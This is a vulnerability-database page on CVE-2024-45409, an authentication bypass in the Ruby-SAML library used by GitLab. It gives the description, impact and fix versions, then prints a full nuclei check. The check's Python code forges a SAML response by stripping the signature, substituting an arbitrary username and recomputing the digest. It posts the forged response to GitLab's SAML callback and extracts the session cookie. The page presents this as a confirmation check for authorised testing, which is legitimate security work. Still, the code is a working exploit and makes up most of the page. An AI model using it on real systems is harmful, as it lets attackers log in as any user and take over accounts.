HexBrain

Browse / CVEs / CVE-2024-45409

CVE-2024-45409· gitlab / gitlab· CWE-347

GitLab - SAML Authentication Bypass

criticalseverity
9.8CVSS score
12.5%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.

Impact

An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.

Fix

This vulnerability is fixed in 1.17.0 and 1.12.3.

How to confirm it

Send: POST /users/auth/saml/callback
Positive when: contains(header,"known_sign_in") and status_code == 302

Run it with nuclei: nuclei -id CVE-2024-45409 -u <target>

The full check
id: CVE-2024-45409

info:
  name: GitLab - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
  impact: |
    An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
    - https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
    - https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
    epss-score: 0.12454
    epss-percentile: 0.96249
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
    product: gitlab
    vendor: gitlab
  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      try:
        from lxml import etree
      except ImportError:
        raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
      import hashlib,os
      import base64
      from datetime import datetime, timedelta
      import urllib.parse
      import requests
      username = os.getenv('username')
      if not username:
          username='[email protected]'
      saml_response = os.getenv('SAMLResponse')
      xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
      parser = etree.XMLParser(remove_blank_text=True)
      root = etree.fromstring(xml_content, parser)

      namespaces = {
          'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
          'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
          'ds': 'http://www.w3.org/2000/09/xmldsig#'
      }

      response_signature = root.find('./ds:Signature', namespaces)
      if response_signature is not None:
          root.remove(response_signature)

      nameid = root.find(
          './/saml:NameID',
          namespaces
      )
      if nameid is not None:
          nameid.text = username

      attribute_values = root.findall('.//saml:AttributeValue', namespaces)
      for attr_value in attribute_values:
          attr_value.text = username

      assertion = root.find('.//saml:Assertion', namespaces)
      if assertion is not None:
          # Create a deep copy of the assertion for digest calculation
          assertion_copy = etree.fromstring(etree.tostring(assertion))
          signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
          if signature_in_assertion is not None:
              signature_in_assertion.getparent().remove(signature_in_assertion)
          canonicalized_assertion = etree.tostring(
              assertion_copy, method='c14n', exclusive=True, with_comments=False
          )
          digest = hashlib.sha256(canonicalized_assertion).digest()
          digest_value = base64.b64encode(digest).decode()
      else:
          digest_value = ''

      issuer = root.find('.//saml:Issuer', namespaces)
      if issuer is not None:
          parent = issuer.getparent()
          index = parent.index(issuer)
          extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
          digest_element = etree.SubElement(
              extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
          )
          digest_element.text = digest_value
          parent.insert(index + 1, extensions)

      malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
                  root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
              ))))
      print(malformed_samlresponse)

http:
  - raw:
      - |
        POST /users/auth/saml/callback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        RelayState=undefined&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"known_sign_in")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - _gitlab_session

References

Use this check only on systems you are authorised to test. Where the data comes from